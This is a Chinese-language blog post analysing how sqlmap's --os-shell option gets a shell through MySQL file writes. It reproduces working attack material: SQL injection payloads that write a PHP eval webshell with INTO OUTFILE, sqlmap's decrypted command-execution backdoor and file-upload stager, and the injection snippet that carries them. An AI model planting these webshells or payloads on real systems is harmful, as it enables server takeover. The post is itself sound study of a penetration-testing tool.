關於sqlmap中--os-shell如何getshell的原始碼學習

smileleooo發表於2024-11-23

目錄
  • 前言
  • 資料庫注入getshell
  • 原始碼分析

前言

最近詳細看了@v1ll4n大佬寫的幾篇關於sqlmap原始碼分析的文章(sqlmap 核心分析)收穫頗多。藉此機會在這裡記錄一下我較感興趣的sqlmap中getshell相關部分的分析,簡單從原始碼的角度看看sqlmap是如何透過--os-shell一鍵getshell。

資料庫注入getshell

先拋開sqlmap不談,想要透過資料庫getshell大的前提條件就是有許可權並且知道相關路徑,這裡以最為熟知的mysql資料庫為例。

利用條件:

  1. 系統變數secure_file_priv為空或者為指定路徑

  2. 知道網站的絕對路徑

  3. 具有檔案寫許可權

以上這三個條件缺一不可:

第一,secure_file_priv是MySQL資料庫中的一個系統變數,用於限制資料匯入和匯出操作。如果將secure_file_priv設定為一個特定的目錄路徑,則資料庫中進行檔案匯入和匯出操作時就只能對這個目錄進行操作;如果設定為NULL,則表示禁止檔案的匯入和匯出操作;如果設定為空(不是NULL)則會允許相對自由的檔案操作,沒有限制。

不同的系統和安裝方式導致secure_file_priv的預設值也會有差異。通常情況為NULL,但有的也會指定一個預設的目錄如下。

image

這個引數是不能透過sql語句直接修改的,因為它是一個只讀引數。如果想要修改,則只能透過修改配置檔案(windows下為my.ini,linux下為my.cnf),然後再透過重啟mysql服務的方式來使它生效。

第二,知道網站的絕對路徑。如果不知道絕對路徑,那麼菜刀這類的webshell管理工具就無法連線。

第三,具有檔案的寫許可權。如果網站目錄下面不允許寫檔案,那麼即使是知道網站的絕對路徑也沒有太大的利用價值。


接下來以linux環境(ubuntu22.04/mysql5.7.42)為例,這裡先把secure_file_priv的值改為空,為後面寫檔案提供前置條件。

image

常規的寫shell方式大概如下:使用union聯合查詢,再配合select ... into outfile/dumpfile ...語句。

union select '<?php eval($_POST[a]);?>' into outfile '/var/www/html/test.php';
union select '<?php eval($_POST[a]);?>' into dumpfile '/var/www/html/test.php';

嘗試寫檔案失敗了,提示沒有許可權。

image

因為正常情況下我們其實並不確定mysql是否有許可權在我們指定的var/www/html目錄下寫檔案。

解決檔案寫入許可權的問題:

嘗試把/var/www/html目錄許可權改為777,沒成功。修改檔案的屬主等,均沒成功 。。。

折騰了很久,最終找到了解決方法:https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied

image

原因:如果mysqld處於強制模式,那麼AppArmor就會限制程序對資源的訪問許可權,和SELinux類似AppArmor也是Linux系統下的強制訪問控制安全機制。

按照上圖給出的解決方法,編輯/etc/apparmor.d/usr.sbin.mysqld檔案,在檔案底部的位置新增對/var/www/html目錄的讀寫控制。

image

修改完,再重新載入AppArmor後,這次寫入成功了。

image

image

手動寫shell都成功後,嘗試-os--shell自然也就很輕易的一鍵getshell了。

image

透過上面一系列的操作,其實可以看到想要直接透過mysql資料庫寫shell的方式getshell是比較困難的。那在生產環境下幾乎不可利用,這些利用條件就幾乎很難同時達成,更何況還有SELinux/AppArmor等各種訪問控制機制的阻攔。

但是沒關係!

image

學習學習--os-shell getshell的程式碼實現原理這並不困難o( ̄▽ ̄)o~ 接下來進入正題。

原始碼分析

如果仔細看上面使用--os-shell命令輸出的資訊,會發現它在我們提供的網站目錄下面寫入了兩個php檔案。為什麼要在目錄下面寫兩個檔案?它們都是什麼,又什麼作用?為了解釋這些問題,看sqlmap的原始碼會有一個比較清晰的答案,這也是我寫這文章的原因。

關於sqlmap的基本流程分析這裡不做介紹了,可以參考@v1ll4n大佬寫的:https://www.anquanke.com/post/id/159260

這裡只針對--os-shell這部分功能的原始碼進行簡要的分析(sqlmap版本1.8#stable)。

有關--os-shell的處理函式被定義在plugins/generic/takeover.py#Takeover.osShell裡面,takeover這裡還有關於oscmd,ospwd等作業系統接管功能的模組定義。

image

主要是4個步驟:

1、根據堆疊查詢可用性和配置判斷是否使用web方式,如果堆疊查詢不可用且後端資料庫管理系統是mysql,那麼就採用web後門來獲取。

2、獲取遠端臨時路徑。

3、嘗試初始化環境。

4、執行shell操作部分,以及最後清理操作部分。

函式getRemoteTempPath的主要目的是確定並返回一個用於儲存臨時檔案的遠端路徑。它會根據不同的資料庫管理系統型別、作業系統型別以及相關配置選項來確定合適的臨時檔案儲存路徑。。

image

接著呼叫函式initEnv(web=web)進行環境初始化。當使用web後門模式(web=True)就進行web初始化操作webInit。

image

函式webInit就時核心操作了,定義在lib/takeover/web.py#Web.webInit裡面。此函式用於在網站的根目錄內的一個可寫遠端目錄上寫入一個後門。其中包括確定指令碼語言(asp/jsp/php等),獲取檔案的完整路徑,選擇合適的上傳目錄,透過不同方法上傳檔案stager和後門檔案,並進行相關的測試以確保後門能夠正常執行命令。

這個函式比較長,挑重點說一下:

第一步確認應用語言:

初始化相關變數,獲取所有公開的應用語言型別,儲存在choices列表中;然後根據當前URL字尾確定預設語言;如果未根據URL字尾確定出來,那麼Windows預設就時asp,其他均為php;或者使用者輸入應用語言。

image

第二步準備上傳目錄和檔案內容:

首先準備上傳目錄列表directories,透過getManualDirectories函式獲取手動指定的目錄列表,呼叫getAutoDirectories函式獲取自動生成的目錄列表。然後使用正規表示式對路徑path進行處理。

image

這裡準備檔案stager和後門檔案內容,首先生成一個隨機的後門檔名稱(tmpb加隨機字串),然後分別獲取後門內容和stager的內容。

image

不妨先來看看這兩個檔案是什麼,以php指令碼為例。

這兩個檔案無法雙擊直接開啟,因為其中包含了一些惡意的程式碼,sqlmap為了防止本地的殺軟把這些檔案誤殺了,所以進行了加密處理。

不過可以透過sqlmap提供的extra/cloak/cloak.py進行解密:python cloak.py -d -i D:\Temp\sqlmap-1.8\data\shell\backdoors\backdoor.php_

解密完的backdoor.php_如下:

<?php
$c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z)){
	$z=preg_replace("/[, ]+/",',',$z);
	$z=explode(',',$z);
	$z=array_map("trim",$z);
}else{
	$z=array();
}
$c=$c." 2>&1\n";
function f($n){
	global $z;
	return is_callable($n)and!in_array($n,$z);
}
if(f("system")){
	ob_start();
	system($c);
	$w=ob_get_clean();
}elseif(f("proc_open")){
	$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
	$w=NULL;
	while(!feof($t[1])){
		$w.=fread($t[1],512);
	}
	@proc_close($y);
}elseif(f("shell_exec")){
	$w=shell_exec($c);
}elseif(f("passthru")){
	ob_start();
	passthru($c);
	$w=ob_get_clean();
}elseif(f("popen")){
	$x=popen($c,r);
	$w=NULL;
	if(is_resource($x)){
		while(!feof($x)){$w.=fread($x,512);}
	}
	@pclose($x);
}elseif(f("exec")){
	$w=array();
	exec($c,$w);
	$w=join(chr(10),$w).chr(10);
}else{
	$w=0;
}
echo"<pre>$w</pre>";
?>

這段php的主要就是實現一個rce的目的。透過system,proc_open,shell_exec等可用於執行外部命令的php函式進行執行獲取到的命令,繞過限制獲取命令執行的結果,最後輸出。

解密後的stager.php_如下:

<?php
if (isset($_REQUEST["upload"])){
	$dir=$_REQUEST["uploadDir"];
	if (phpversion()<'4.1.0'){
		$file=$HTTP_POST_FILES["file"]["name"];
		@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}else{
		$file=$_FILES["file"]["name"];
		@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
	}
	@chmod($dir."/".$file,0755);
	echo "File uploaded";
}else {
	echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/> <input type=submit name=upload value=upload></form>";
}
?>

這段php實現了一個簡單的檔案上傳功能。根據php的版本來處理上傳的檔案,並將檔案移動到指定的目錄下,最後設定上傳檔案的許可權並反饋上傳成功的資訊。

第三步上傳檔案:

遍歷上傳目錄列表,拼接一個完整的stager檔案路徑,然後呼叫_webFileInject將指定的檔案內容注入到指定目錄下。之後再透過獲取檔案stager頁面內容來檢查是否上傳成功。

image

關於_webFileInject函式,它是實現注入的核心部分,透過構造合適的sql查詢語句來實現檔案的上傳操作,最後再獲取執行注入操作後的頁面內容並返回。

image

透過getSQLSnippet函式獲取一個針對mysql資料庫write_file_limit的sql程式碼片段(data/procs/mysql/write_file_limit.sql),內容如下:

LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -

這裡LINES TERMINATED BY 0x%HEXSTRING%部分用於設定每行資料結束的標記,用來定義行結束的格式。這部分就完全可以替換為我們的要寫入的檔案內容,當然是16進位制編碼後的。

透過除錯可以清楚地看到此時的payload:

image

admin' LIMIT 0,1 INTO OUTFILE '/var/www/tmpugaur.php' LINES TERMINATED BY ...stager檔案內容(16進位制編碼)...-- -

跳出_webFileInject函式,最後會透過獲取檔案stager頁面內容並檢查,以此來判斷是否上傳成功。

此時如果沒有上傳成功的話,就會回退到使用union查詢來上傳檔案,呼叫unionWriteFile寫檔案。

image

針對不同的指令碼語言,就需要不同的檔案寫入相關變數了,但寫入檔案的方式依然是不變的。

image

接下來就要寫後門檔案了,也就是實現遠端程式碼執行的檔案。

image

首先會呼叫webUpload函式上傳後門檔案,它將檔案內容轉換為位元組流並進行流操作處理。

image

然後它會再呼叫_webFileStreamUpload函式完成最終的上傳操作,_webFileStreamUpload上傳就需要藉助剛才上傳的stager檔案了,首先透過構造合適構造多部分表單資料,最後透過Request.getPage傳送請求並上傳檔案。

image

如果後門沒有透過webUpload函式實現上傳,則會提示採用和上傳stager檔案相同的方法上傳。

第四步執行shell操作:

當後門的url路徑不為null時,就可以呼叫執行shell操作,它定義再lib/takeover/abstraction#Abstraction.shell裡面。

image

首先判斷後端的型別來確定命令執行方式,接著設定命令自動補全功能,最後進入命令輸入和執行迴圈,不斷獲取使用者輸入的命令。執行命令有幾種不同的方式,這裡使用的時web後門的方式執行命令,其他先不談。

image

函式webBackdoorRunCmd透過後門的url來執行指定的命令,然後從返回頁面內容中提取命令執行輸出。

image

最後執行exit退出命令後,則會刪除已上傳的這兩個檔案。

image

到這裡就基本簡單的分析完了,其實關於sqlmap中getshll的還有很多可聊的,包括udf啊,還有mssql等其他資料的利用方式等等,但限於篇幅的原因不在此展開了。

參考文章
https://stackoverflow.com/questions/36391551/error-1-hy000-cant-create-write-to-file-errcode-13-permission-denied
https://xz.aliyun.com/t/7942?time__1311=n4%2BxnD0DyDu73AKex05%2Bb8DOiGC7iQ8oi74D
https://mp.weixin.qq.com/s?__biz=MzIyMjkzMzY4Ng==&mid=2247485339&idx=1&sn=ea76ee0d56b8a95a118a60d111d48160

若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章